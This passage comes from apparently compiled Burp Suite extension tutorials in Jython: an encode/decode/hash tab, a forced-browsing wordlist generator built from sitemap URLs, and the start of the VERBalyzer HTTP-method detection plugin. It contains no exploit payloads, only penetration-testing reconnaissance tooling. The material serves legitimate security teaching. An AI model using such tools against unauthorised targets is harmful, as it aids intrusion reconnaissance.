3589 self.tab.add(textPanel, BorderLayout.NORTH)
3590
3591 # Add the custom tab to Burp's UI
3592 callbacks.addSuiteTab(self)
3593 return
3594...
3595-----------------------------------------------------------------------------------------
3596
3597A bit of explanation. The code (textPanel = swing.JPanel()) creates a new panel that will contain the text label and text area. Then, a box is created (boxVertical), that will be used to hold other boxes (boxHorizontal) that contain the text label and area. The horizontal boxes get added to the vertical box (boxVertical.add(boxHorizontal)), the vertical box is added to the panel we created (textPanel.add(boxVertical)), and that panel is added to the main tab panel at the top (BorderLayout.NORTH). Save the code, unload/reload the extension and this is what you should see: "Text to be encoded/decoded/hashed" field
3598
3599
3600Now we’ll add the tabs:
3601
3602-----------------------------------------------------------------------------------------
3603 self.tab.add(textPanel, BorderLayout.NORTH)
3604
3605 # Created a tabbed pane to go in the center of the
3606 # main tab, below the text area
3607 tabbedPane = swing.JTabbedPane()
3608 self.tab.add("Center", tabbedPane);
3609
3610 # First tab
3611 firstTab = swing.JPanel()
3612 firstTab.layout = BorderLayout()
3613 tabbedPane.addTab("Encode", firstTab)
3614
3615 # Second tab
3616 secondTab = swing.JPanel()
3617 secondTab.layout = BorderLayout()
3618 tabbedPane.addTab("Decode", secondTab)
3619
3620 # Third tab
3621 thirdTab = swing.JPanel()
3622 thirdTab.layout = BorderLayout()
3623 tabbedPane.addTab("Hash", thirdTab)
3624
3625 # Add the custom tab to Burp's UI
3626 callbacks.addSuiteTab(self)
3627 return
3628...
3629--------------------------------------------------------------------------------------------------
3630After you add this code and save the file, you should have your tabs
3631
3632
3633we’re only going to build out the Encode tab, but the steps will be the same for each tab.
3634
3635---------------------------------------------------------------------------------------------------
3636
3637 # First tab
3638 firstTab = swing.JPanel()
3639 firstTab.layout = BorderLayout()
3640 tabbedPane.addTab("Encode", firstTab)
3641
3642 # Button for first tab
3643 buttonPanel = swing.JPanel()
3644 buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
3645 firstTab.add(buttonPanel, "North")
3646
3647 # Panel for the encoders. Each label and text field
3648 # will go in horizontal boxes which will then go in
3649 # a vertical box
3650 encPanel = swing.JPanel()
3651 boxVertical = swing.Box.createVerticalBox()
3652
3653 boxHorizontal = swing.Box.createHorizontalBox()
3654 self.b64EncField = swing.JTextField('', 75)
3655 boxHorizontal.add(swing.JLabel(" Base64 :"))
3656 boxHorizontal.add(self.b64EncField)
3657 boxVertical.add(boxHorizontal)
3658
3659 boxHorizontal = swing.Box.createHorizontalBox()
3660 self.urlEncField = swing.JTextField('', 75)
3661 boxHorizontal.add(swing.JLabel(" URL :"))
3662 boxHorizontal.add(self.urlEncField)
3663 boxVertical.add(boxHorizontal)
3664
3665 boxHorizontal = swing.Box.createHorizontalBox()
3666 self.asciiHexEncField = swing.JTextField('', 75)
3667 boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
3668 boxHorizontal.add(self.asciiHexEncField)
3669 boxVertical.add(boxHorizontal)
3670
3671 boxHorizontal = swing.Box.createHorizontalBox()
3672 self.htmlEncField = swing.JTextField('', 75)
3673 boxHorizontal.add(swing.JLabel(" HTML :"))
3674 boxHorizontal.add(self.htmlEncField)
3675 boxVertical.add(boxHorizontal)
3676
3677 boxHorizontal = swing.Box.createHorizontalBox()
3678 self.jsEncField = swing.JTextField('', 75)
3679 boxHorizontal.add(swing.JLabel(" JavaScript:"))
3680 boxHorizontal.add(self.jsEncField)
3681 boxVertical.add(boxHorizontal)
3682
3683 # Add the vertical box to the Encode tab
3684 firstTab.add(boxVertical, "Center")
3685
3686 # Second tab
3687 ...
3688
3689 # Third tab
3690 ...
3691
3692 # Add the custom tab to Burp's UI
3693 callbacks.addSuiteTab(self)
3694 return
3695
3696 # Implement the functions from the button clicks
3697 def encode(self, event):
3698 pass
3699
3700 # Implement ITab
3701 def getTabCaption(self):
3702
3703-----------------------------------------------------------------------------------------
3704
3705First we create a panel (buttonPanel) to hold our button, and then we add a button to the panel and specify the argument actionPerformed=self.encode, where self.encode is a method that will run when the button is clicked. We define encode at the end of the code snippet, and currently have it doing nothing. We’ll implement the encoders later. Now that our panel has a button, we add that to the first tab of the panel (firstTab.add(buttonPanel, “North”)). Next we create a separate panel for the encoder text labels and fields. Similar to before, we create a big box (boxVertical), and then create a horizontal box (boxHorizontal) for each pair of labels/textfields, which then get added to the big box. Finally that big box gets added to the tab. After saving the file and unloading/reloading, you shoud see big box added to the tab.
3706
3707
3708The button might not seem to do anything, but it is actually executing the encode method we defined (which does nothing). Lets fix that method and have it encode the user input:
3709
3710---------------------------------------------------------------------------------------------------------
3711…
3712try:
3713 from exceptions_fix import FixBurpExceptions
3714except ImportError:
3715 pass
3716import base64
3717import urllib
3718import binascii
3719import cgi
3720import json
3721...
3722
3723 # Add the custom tab to Burp's UI
3724 callbacks.addSuiteTab(self)
3725 return
3726
3727 # Implement the functions from the button clicks
3728 def encode(self, event):
3729 """Encodes the user input and writes the encoded
3730 value to text fields.
3731 """
3732 self.b64EncField.text = base64.b64encode(self.textArea.text)
3733 self.urlEncField.text = urllib.quote(self.textArea.text)
3734 self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
3735 self.htmlEncField.text = cgi.escape(self.textArea.text)
3736 self.jsEncField.text = json.dumps(self.textArea.text)
3737
3738 # Implement ITab
3739 def getTabCaption(self):
3740…
3741
3742----------------------------------------------------------------------------------------------------------
3743
3744The encode method sets the text on the encode fields we created by encoding whatever the user types in the top text area (self.textArea.text). Once you save and unload/reload the file you should have full encoding functionality.
3745
3746Full code:
3747
3748----------------------------------------------------------------------------------------------------------
3749
3750__author__ = 'Jake Miller (@LaconicWolf)'
3751__date__ = '20190206'
3752__version__ = '0.01'
3753__description__ = """Burp Extension that encodes, decodes,
3754 and hashes user input. Inspired by a
3755 similar tool in OWASP's ZAP.
3756 """
3757
3758from burp import IBurpExtender, ITab
3759from javax import swing
3760from java.awt import BorderLayout
3761import sys
3762import base64
3763import urllib
3764import binascii
3765import cgi
3766import json
3767import re
3768import hashlib
3769from HTMLParser import HTMLParser
3770
3771try:
3772 from exceptions_fix import FixBurpExceptions
3773except ImportError:
3774 pass
3775
3776class BurpExtender(IBurpExtender, ITab):
3777 def registerExtenderCallbacks(self, callbacks):
3778
3779 # Required for easier debugging:
3780 # https://github.com/securityMB/burp-exceptions
3781 sys.stdout = callbacks.getStdout()
3782
3783 # Keep a reference to our callbacks object
3784 self.callbacks = callbacks
3785
3786 # Set our extension name
3787 self.callbacks.setExtensionName("Encode/Decode/Hash")
3788
3789 # Create the tab
3790 self.tab = swing.JPanel(BorderLayout())
3791
3792 # Create the text area at the top of the tab
3793 textPanel = swing.JPanel()
3794
3795 # Create the label for the text area
3796 boxVertical = swing.Box.createVerticalBox()
3797 boxHorizontal = swing.Box.createHorizontalBox()
3798 textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
3799 boxHorizontal.add(textLabel)
3800 boxVertical.add(boxHorizontal)
3801
3802 # Create the text area itself
3803 boxHorizontal = swing.Box.createHorizontalBox()
3804 self.textArea = swing.JTextArea('', 6, 100)
3805 self.textArea.setLineWrap(True)
3806 boxHorizontal.add(self.textArea)
3807 boxVertical.add(boxHorizontal)
3808
3809 # Add the text label and area to the text panel
3810 textPanel.add(boxVertical)
3811
3812 # Add the text panel to the top of the main tab
3813 self.tab.add(textPanel, BorderLayout.NORTH)
3814
3815 # Created a tabbed pane to go in the center of the
3816 # main tab, below the text area
3817 tabbedPane = swing.JTabbedPane()
3818 self.tab.add("Center", tabbedPane);
3819
3820 # First tab
3821 firstTab = swing.JPanel()
3822 firstTab.layout = BorderLayout()
3823 tabbedPane.addTab("Encode", firstTab)
3824
3825 # Button for first tab
3826 buttonPanel = swing.JPanel()
3827 buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
3828 firstTab.add(buttonPanel, "North")
3829
3830 # Panel for the encoders. Each label and text field
3831 # will go in horizontal boxes which will then go in
3832 # a vertical box
3833 encPanel = swing.JPanel()
3834 boxVertical = swing.Box.createVerticalBox()
3835
3836 boxHorizontal = swing.Box.createHorizontalBox()
3837 self.b64EncField = swing.JTextField('', 75)
3838 boxHorizontal.add(swing.JLabel(" Base64 :"))
3839 boxHorizontal.add(self.b64EncField)
3840 boxVertical.add(boxHorizontal)
3841
3842 boxHorizontal = swing.Box.createHorizontalBox()
3843 self.urlEncField = swing.JTextField('', 75)
3844 boxHorizontal.add(swing.JLabel(" URL :"))
3845 boxHorizontal.add(self.urlEncField)
3846 boxVertical.add(boxHorizontal)
3847
3848 boxHorizontal = swing.Box.createHorizontalBox()
3849 self.asciiHexEncField = swing.JTextField('', 75)
3850 boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
3851 boxHorizontal.add(self.asciiHexEncField)
3852 boxVertical.add(boxHorizontal)
3853
3854 boxHorizontal = swing.Box.createHorizontalBox()
3855 self.htmlEncField = swing.JTextField('', 75)
3856 boxHorizontal.add(swing.JLabel(" HTML :"))
3857 boxHorizontal.add(self.htmlEncField)
3858 boxVertical.add(boxHorizontal)
3859
3860 boxHorizontal = swing.Box.createHorizontalBox()
3861 self.jsEncField = swing.JTextField('', 75)
3862 boxHorizontal.add(swing.JLabel(" JavaScript:"))
3863 boxHorizontal.add(self.jsEncField)
3864 boxVertical.add(boxHorizontal)
3865
3866 # Add the vertical box to the Encode tab
3867 firstTab.add(boxVertical, "Center")
3868
3869 # Repeat the same process for the remaining tabs
3870 secondTab = swing.JPanel()
3871 secondTab.layout = BorderLayout()
3872 tabbedPane.addTab("Decode", secondTab)
3873
3874 buttonPanel = swing.JPanel()
3875 buttonPanel.add(swing.JButton('Decode', actionPerformed=self.decode))
3876 secondTab.add(buttonPanel, "North")
3877
3878 decPanel = swing.JPanel()
3879 boxVertical = swing.Box.createVerticalBox()
3880
3881 boxHorizontal = swing.Box.createHorizontalBox()
3882 self.b64DecField = swing.JTextField('', 75)
3883 boxHorizontal.add(swing.JLabel(" Base64 :"))
3884 boxHorizontal.add(self.b64DecField)
3885 boxVertical.add(boxHorizontal)
3886
3887 boxHorizontal = swing.Box.createHorizontalBox()
3888 self.urlDecField = swing.JTextField('', 75)
3889 boxHorizontal.add(swing.JLabel(" URL :"))
3890 boxHorizontal.add(self.urlDecField)
3891 boxVertical.add(boxHorizontal)
3892
3893 boxHorizontal = swing.Box.createHorizontalBox()
3894 self.asciiHexDecField = swing.JTextField('', 75)
3895 boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
3896 boxHorizontal.add(self.asciiHexDecField)
3897 boxVertical.add(boxHorizontal)
3898
3899 boxHorizontal = swing.Box.createHorizontalBox()
3900 self.htmlDecField = swing.JTextField('', 75)
3901 boxHorizontal.add(swing.JLabel(" HTML :"))
3902 boxHorizontal.add(self.htmlDecField)
3903 boxVertical.add(boxHorizontal)
3904
3905 boxHorizontal = swing.Box.createHorizontalBox()
3906 self.jsDecField = swing.JTextField('', 75)
3907 boxHorizontal.add(swing.JLabel(" JavaScript:"))
3908 boxHorizontal.add(self.jsDecField)
3909 boxVertical.add(boxHorizontal)
3910
3911 secondTab.add(boxVertical, "Center")
3912
3913 thirdTab = swing.JPanel()
3914 thirdTab.layout = BorderLayout()
3915 tabbedPane.addTab("Hash", thirdTab)
3916
3917 buttonPanel = swing.JPanel()
3918 buttonPanel.add(swing.JButton('Hash', actionPerformed=self.generateHashes))
3919 thirdTab.add(buttonPanel, "North")
3920
3921 decPanel = swing.JPanel()
3922 boxVertical = swing.Box.createVerticalBox()
3923
3924 boxHorizontal = swing.Box.createHorizontalBox()
3925 self.md5Field = swing.JTextField('', 75)
3926 boxHorizontal.add(swing.JLabel(" MD5 :"))
3927 boxHorizontal.add(self.md5Field)
3928 boxVertical.add(boxHorizontal)
3929
3930 boxHorizontal = swing.Box.createHorizontalBox()
3931 self.sha1Field = swing.JTextField('', 75)
3932 boxHorizontal.add(swing.JLabel(" SHA-1 :"))
3933 boxHorizontal.add(self.sha1Field)
3934 boxVertical.add(boxHorizontal)
3935
3936 boxHorizontal = swing.Box.createHorizontalBox()
3937 self.sha256Field = swing.JTextField('', 75)
3938 boxHorizontal.add(swing.JLabel(" SHA-256 :"))
3939 boxHorizontal.add(self.sha256Field)
3940 boxVertical.add(boxHorizontal)
3941
3942 boxHorizontal = swing.Box.createHorizontalBox()
3943 self.sha512Field = swing.JTextField('', 75)
3944 boxHorizontal.add(swing.JLabel(" SHA-512 :"))
3945 boxHorizontal.add(self.sha512Field)
3946 boxVertical.add(boxHorizontal)
3947
3948 boxHorizontal = swing.Box.createHorizontalBox()
3949 self.ntlmField = swing.JTextField('', 75)
3950 boxHorizontal.add(swing.JLabel(" NTLM :"))
3951 boxHorizontal.add(self.ntlmField)
3952 boxVertical.add(boxHorizontal)
3953
3954 thirdTab.add(boxVertical, "Center")
3955
3956 # Add the custom tab to Burp's UI
3957 callbacks.addSuiteTab(self)
3958 return
3959
3960 # Implement ITab
3961 def getTabCaption(self):
3962 """Return the text to be displayed on the tab"""
3963 return "Encode/Decode/Hash"
3964
3965 def getUiComponent(self):
3966 """Passes the UI to burp"""
3967 return self.tab
3968
3969 # Implement the functions from the button clicks
3970 def encode(self, event):
3971 """Encodes the user input and writes the encoded
3972 value to text fields.
3973 """
3974 self.b64EncField.text = base64.b64encode(self.textArea.text)
3975 self.urlEncField.text = urllib.quote(self.textArea.text)
3976 self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
3977 self.htmlEncField.text = cgi.escape(self.textArea.text)
3978 self.jsEncField.text = json.dumps(self.textArea.text)
3979
3980 def decode(self, event):
3981 """Decodes the user input and writes the decoded
3982 value to text fields."""
3983 try:
3984 self.b64DecField.text = base64.b64decode(self.textArea.text)
3985 except TypeError:
3986 pass
3987 self.urlDecField.text = urllib.unquote(self.textArea.text)
3988 try:
3989 self.asciiHexDecField.text = binascii.unhexlify(self.textArea.text)
3990 except TypeError:
3991 pass
3992 parser = HTMLParser()
3993 self.htmlDecField.text = parser.unescape(self.textArea.text)
3994 self.jsDecField.text = re.sub(r'%u([a-fA-F0-9]{4}|[a-fA-F0-9]{2})', lambda m: chr(int(m.group(1), 16)), self.textArea.text)
3995
3996 def generateHashes(self, event):
3997 """Hashes the user input and writes the hashed
3998 value to text fields.
3999 """
4000 self.md5Field.text = hashlib.md5(self.textArea.text).hexdigest()
4001 self.sha1Field.text = hashlib.sha1(self.textArea.text).hexdigest()
4002 self.sha256Field.text = hashlib.sha256(self.textArea.text).hexdigest()
4003 self.sha512Field.text = hashlib.sha512(self.textArea.text).hexdigest()
4004 self.ntlmField.text = binascii.hexlify(hashlib.new('md4', self.textArea.text.encode('utf-16le')).digest())
4005
4006try:
4007 FixBurpExceptions()
4008except:
4009 pass
4010--------------------------------------------------------------------------------------------------------------------------------------------------------
4011
4012
4013
4014########################################################################
4015# Burp Extension Python Tutorial – Generate a Forced Browsing Wordlist #
4016########################################################################
4017
4018
4019Setup
4020
4021• Create a folder where you’ll store extensions – I named mine extensions
4022• Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
4023• Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
4024• Configure Burp to use Jython – Extender > Options > Python Environment > Select file
4025• Create a new file (GenerateForcedBrowseWordlist.py) in your favorite text editor (save it in your extensions folder)
4026
4027Full code: https://raw.githubusercontent.com/laconicwolf/burp-extensions/master/GenerateForcedBrowseWordlist.py
4028
4029
4030- Importing required modules, accessing the Extender API, and implementing the debugger
4031
4032-----------------------------------------------------------------------------------
4033
4034from burp import IBurpExtender, IContextMenuFactory
4035from java.util import ArrayList
4036from javax.swing import JMenuItem
4037import threading
4038import sys
4039try:
4040 from exceptions_fix import FixBurpExceptions
4041except ImportError:
4042 pass
4043
4044------------------------------------------------------------------------------------
4045
4046
4047The IBurpExtender module is required for all extensions, while IContextMenuFactory allows us to have the right-click functionality. The JMenuItem is used for the context menu GUI, and the ArrayList is to store our list of options that we want to appear in the context menu. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine.
4048
4049This next code snippet will implement the FixBurpExceptions prettier debugger, set references to our callbacks and extension helpers, register our extension with Burp, and keep create a context menu. If you’re following along type or paste this code after the imports:
4050
4051-------------------------------------------------------------------------------------
4052class BurpExtender(IBurpExtender, IContextMenuFactory):
4053 def registerExtenderCallbacks(self, callbacks):
4054
4055 sys.stdout = callbacks.getStdout()
4056 self.callbacks = callbacks
4057 self.helpers = callbacks.getHelpers()
4058 self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
4059 callbacks.registerContextMenuFactory(self)
4060
4061 return
4062
4063try:
4064 FixBurpExceptions()
4065except:
4066 pass
4067-------------------------------------------------------------------------------------
4068
4069The above class implements IBurpExtender, which is required for all extensions and must be named BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to set the extension name, and eventually obtain data from the Sitemap. The line callbacks.registerContextMenuFactory(self) tells Burp that we want to use the context menu, which is the right-click functionality. FixBurpExceptions is called at the end of the script just in case we have an error (Thanks for the code, SecurityMB!). The try/except block calling FixBurpExceptions will always go at the very end of the script.
4070
4071Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > GenerateForcedBrowseWordlist.py
4072
4073The extension should load without any errors or output. If you click on the Target > Sitemap and right-click something, if you go back to the Extender tab you should now have an error.
4074
4075The error is recorded as NotImplementedError, because we invoked the iContextMenuFactory but did not implement any menu items. We can figure out why this happened by reviewing the Extender API documentation (either in Burp or online):
4076
4077- the method createMenuItems() “…will be called by Burp when the user invokes a context menu anywhere within Burp. The factory can then provide any custom context menu items that should be displayed in the context menu, based on the details of the menu invocation.”
4078
4079
4080- Creating an interface to right-click and perform a function
4081
4082
4083We will create the menu items, and then define the functions that are called when the menu items are clicked:
4084---------------------------------------------------------------------------------------------------
4085 ...
4086 callbacks.registerContextMenuFactory(self)
4087
4088 return
4089
4090 def createMenuItems(self, invocation):
4091 self.context = invocation
4092 menuList = ArrayList()
4093 menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
4094 actionPerformed=self.createWordlistFromSelected)
4095 menuList.add(menuItem)
4096 menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
4097 actionPerformed=self.createWordlistFromScope)
4098 menuList.add(menuItem)
4099 return menuList
4100
4101 def createWordlistFromSelected(self, event):
4102 print "in createWordlistFromSelected"
4103
4104 def createWordlistFromScope(self, event):
4105 print "in createWordlistFromScope"
4106
4107try:
4108 FixBurpExceptions()
4109...
4110--------------------------------------------------------------------------------------------------
4111
4112Save the code and reload the extension. Try right-clicking in the Sitemap, and you should now see the option to “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. Click on one of them, and it will execute the function, and you should see output in the Extender output pane.
4113
4114
4115Excellent. So far we’ve added out menu items to the context menu, and we are able to run our functions when the menu items are clicked. The next part of the program builds out these function further, and shows how to interact with the recorded HTTP requests and responses contained in the Sitemap.
4116
4117We defined two menu options, “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”, so we need to actually make these functions do something other than print. They are actually both going to basically do the same thing, which is start another thread and call another function that will do most of the work. The only difference between the functions will be that createWordlistFromScope() will set a class variable that tells only looks at the sites in scope. On to the code. We edit the functions that we created so they will do more than just print:
4118
4119
4120----------------------------------------------------------------------
4121
4122 def createMenuItems(self, invocation):
4123 ...
4124 return menuList
4125
4126 def createWordlistFromSelected(self, event):
4127 self.fromScope = False
4128 t = threading.Thread(target=self.createWordlist)
4129 t.daemon = True
4130 t.start()
4131
4132 def createWordlistFromScope(self, event):
4133 self.fromScope = True
4134 t = threading.Thread(target=self.createWordlist)
4135 t.daemon = True
4136 t.start()
4137
4138 def createWordlist(self):
4139 print "In createWordlist"
4140
4141try:
4142 FixBurpExceptions()
4143...
4144
4145--------------------------------------------------------------------
4146
4147The self.fromScope variable is set so the createWordlist function will know whether to look at all of the items in scope or to only look and the site(s) that were selected in the context menu. Then, a thread is defined (t), configured to run the createWordlist function (target=self.createWordlist), and start the thread. Without multi-threading, if we try to run the extension and have a large Sitemap or multiple targets selected, then the GUI will freeze while the program is running.
4148
4149If you save and reload this extension, then right-click and send the data to our extension, you should receive the following output in the Extender output tab.
4150
4151Now, we can finish the createWordList() function, which is where we interact with the Sitemap:
4152
4153- Writing the function that interacts with requests and responses in the Sitemap
4154
4155We can review the API documentation (within Burp) to see how to get the data from the Sitemap:
4156
4157So if called without any parameter, the entire Sitemap is returned. If a URL prefix is specified, it will only return the Sitemap data that startswith the URL prefix. Recall that our program gives the user two options: “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. To generate the wordlist for all hosts in scope we can return the entire Sitemap, and then use another Burp callbacks method isInScope() to determine whether or not we should use it. Note: When testing this extension I noticed that if you click on an out-of-scope entry in the Sitemap and select “Generate forced browsing wordlist from all hosts in scope”, it will still include that selection, as if it was in scope.
4158
4159To generate the wordlist from selected items we first need to record what is selected, then we can either pull the entire Sitemap and compare the URLs we want, or we can give the getSiteMap() the URL prefix for each site individually. I chose the former for this program.
4160
4161First, we determine what the user’s selection was:
4162
4163-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4164
4165 def createWordlistFromScope(self, event):
4166 ...
4167 t.start()
4168
4169 def createWordlist(self):
4170 httpTraffic = self.context.getSelectedMessages()
4171 hostUrls = []
4172 for traffic in httpTraffic:
4173 try:
4174 hostUrls.append(str(traffic.getUrl()))
4175 except UnicodeEncodeError:
4176 continue
4177-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4178
4179Recall that self.context was what the user had selected in the Sitemap when they right-clicked, and the getSelectedMessages() method returns an array of objects containing data about the the items the user had selected. When I was developing the extension I inspected the object to get an idea of what it contained:
4180
4181-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4182
4183print type(httpTraffic)
4184<type 'array.array'>
4185
4186print dir(traffic)
4187['...', 'b', 'class', 'comment', 'equals', 'getClass', 'getComment', 'getHighlight', 'getHost', 'getHttpService', 'getPort', 'getProtocol', 'getRequest', 'getResponse', 'getStatusCode', 'getUrl', 'hashCode', 'highlight', 'host', 'httpService', 'notify', 'notifyAll', 'port', 'protocol', 'request', 'response', 'setComment', 'setHighlight', 'setHost', 'setHttpService', 'setPort', 'setProtocol', 'setRequest', 'setResponse', 'statusCode', 'toString', 'url', 'wait']
4188
4189----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4190
4191
4192We are interested in getting the URL from each object, so we iterate through the array and call the getUrl() method. This method returns a type of ‘java.net.URL’, which we convert to a string using str() and add it to our hostUrls list that we will use later to filter the Sitemap data. The try/except block is to deal with any encoding errors, which I handle by ignoring not adding it to the hostUrls list.
4193
4194Now, we get the data from the Sitemap:
4195
4196----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4197 def createWordlist(self):
4198 ...
4199 continue
4200
4201 urllist = []
4202 siteMapData = self.callbacks.getSiteMap(None)
4203 for entry in siteMapData:
4204 requestInfo = self.helpers.analyzeRequest(entry)
4205 url = requestInfo.getUrl()
4206 try:
4207 decodedUrl = self.helpers.urlDecode(str(url))
4208 except Exception as e:
4209 continue
4210
4211 if self.fromScope and self.callbacks.isInScope(url):
4212 urllist.append(decodedUrl)
4213 else:
4214 for url in hostUrls:
4215 if decodedUrl.startswith(str(url)):
4216 urllist.append(decodedUrl)
4217
4218----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4219
4220We initialize a new list (urllist) to hold the URLs from each site, then call getSiteMap(None), which will return all of the Sitemap entries. For each entry, we use the analyzeRequest() method to get the URL, and then URL decode each entry.
4221
4222It is at this point that we get to our filtering. If self.fromScope is true, the isInScope() method is called on the URL. If that returns true, then the URL-decoded URL is appended to our urllist. If self.fromScope is False (meaning the user chose “Generate forced browsing wordlist from selected items”), the URL from the Sitemap is checked against the URLs that the user had selected in the context menu. If the decoded URL starts with the user-selected URL, then it is appended to the urllist.
4223
4224Now, the urllist variable contains a list of URLs, complete with the querystring. Since we don’t need the querystring, and only want the last part of the path, we need to split up the URL and take only the part we want:
4225
4226----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4227 def createWordlist(self):
4228 ...
4229 urllist.append(decodedUrl)
4230
4231 filenamelist = []
4232 for entry in urllist:
4233 filenamelist.append(entry.split('/')[-1].split('?')[0])
4234
4235 for word in sorted(set(filenamelist)):
4236 if word:
4237 try:
4238 print word
4239 except UnicodeEncodeError:
4240 continue
4241
4242try:
4243 FixBurpExceptions()
4244...
4245
4246----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4247
4248The filenamelist is where we will store our forced browsing wordlist. We split each URL entry in urllist, first by the ‘/’. The split function() turns the string URL into a list, and the [-1] will grab the last element of that list. That last element will be the filename and any querystring, so it is split again at the ‘?’ and the first element is selected. For example:
4249
4250----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4251>>> url = 'http://example.com/app/folder/file.php?param=value'
4252>>> url.split('/')
4253['http:', '', 'example.com', 'app', 'folder', 'file.php?param=value']
4254>>> url.split('/')[-1]
4255'file.php?param=value'
4256>>> url.split('/')[-1].split('?')
4257['file.php', 'param=value']
4258>>> url.split('/')[-1].split('?')[0]
4259'file.php'
4260
4261----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4262
4263That filename is appended into the filenamelist. Finally, we iterate through the filenamelist (after sorting and unique’ing the list) and print everything into the Extender output pane.
4264
4265And that’s it! Save, reload, and you should now have a functional extension that makes use of the context menu and Sitemap.
4266
4267- Full code:
4268
4269----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4270
4271__author__ = 'Jake Miller (@LaconicWolf)'
4272__date__ = '20190226'
4273__version__ = '0.01'
4274__description__ = """\
4275Burp Extension that extracts the filenames from URLs in
4276scope or from a selected host. Just right click on the
4277hosts pane in the sitemap and click 'Generate forced
4278browsing wordlist' for either selected items or all hosts
4279in scope. The output will appear in the extender tab, where
4280you can set configure the extension to output to the system console,
4281save to a file, or show in the UI.
4282
4283Blog post explaining all the code in detail:
4284https://laconicwolf.com/2019/03/09/burp-extension-python-tutorial-generate-a-forced-browsing-wordlist/
4285"""
4286
4287from burp import IBurpExtender, IContextMenuFactory
4288from java.util import ArrayList
4289from javax.swing import JMenuItem
4290import threading
4291import sys
4292try:
4293 from exceptions_fix import FixBurpExceptions
4294except ImportError:
4295 pass
4296
4297class BurpExtender(IBurpExtender, IContextMenuFactory):
4298 def registerExtenderCallbacks(self, callbacks):
4299
4300 sys.stdout = callbacks.getStdout()
4301 self.callbacks = callbacks
4302 self.helpers = callbacks.getHelpers()
4303 self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
4304 callbacks.registerContextMenuFactory(self)
4305
4306 return
4307
4308 def createMenuItems(self, invocation):
4309 self.context = invocation
4310 menuList = ArrayList()
4311 menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
4312 actionPerformed=self.createWordlistFromSelected)
4313 menuList.add(menuItem)
4314 menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
4315 actionPerformed=self.createWordlistFromScope)
4316 menuList.add(menuItem)
4317 return menuList
4318
4319 def createWordlistFromSelected(self, event):
4320 self.fromScope = False
4321 t = threading.Thread(target=self.createWordlist)
4322 t.daemon = True
4323 t.start()
4324
4325 def createWordlistFromScope(self, event):
4326 self.fromScope = True
4327 t = threading.Thread(target=self.createWordlist)
4328 t.daemon = True
4329 t.start()
4330
4331 def createWordlist(self):
4332 httpTraffic = self.context.getSelectedMessages()
4333 hostUrls = []
4334 for traffic in httpTraffic:
4335 try:
4336 hostUrls.append(str(traffic.getUrl()))
4337 except UnicodeEncodeError:
4338 continue
4339
4340 urllist = []
4341 siteMapData = self.callbacks.getSiteMap(None)
4342 for entry in siteMapData:
4343 requestInfo = self.helpers.analyzeRequest(entry)
4344 url = requestInfo.getUrl()
4345 try:
4346 decodedUrl = self.helpers.urlDecode(str(url))
4347 except Exception as e:
4348 continue
4349
4350 if self.fromScope and self.callbacks.isInScope(url):
4351 urllist.append(decodedUrl)
4352 else:
4353 for url in hostUrls:
4354 if decodedUrl.startswith(str(url)):
4355 urllist.append(decodedUrl)
4356
4357 filenamelist = []
4358 for entry in urllist:
4359 filenamelist.append(entry.split('/')[-1].split('?')[0])
4360
4361 for word in sorted(set(filenamelist)):
4362 if word:
4363 try:
4364 print word
4365 except UnicodeEncodeError:
4366 continue
4367try:
4368 FixBurpExceptions()
4369except:
4370 pass
4371
4372----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4373
4374
4375#########################
4376# BurpVERBalyzer Plugin #
4377#########################
4378
4379https://raw.githubusercontent.com/doyler/SecurityTools/master/BurpVERBalyzer/VERBalyzer.py
4380
4381- Full code:
4382
4383----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4384
4385# VERBalyzer - Burp Plugin to detect HTTP Methods supported by the server
4386# Author: Ray Doyle (@doylersec) <https://www.doyler.net>
4387# Copyright 2017
4388#
4389# Licensed under the Apache License, Version 2.0 (the "License");
4390# you may not use this file except in compliance with the License.
4391# You may obtain a copy of the License at
4392#
4393# http://www.apache.org/licenses/LICENSE-2.0
4394#
4395# Unless required by applicable law or agreed to in writing, software
4396# distributed under the License is distributed on an "AS IS" BASIS,
4397# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
4398# See the License for the specific language governing permissions and
4399# limitations under the License.
4400
4401try:
4402 from burp import IBurpExtender
4403 from burp import IScannerCheck
4404 from burp import IScanIssue
4405 from burp import IScannerInsertionPointProvider
4406 from burp import IScannerInsertionPoint
4407 from burp import IParameter
4408 from array import array
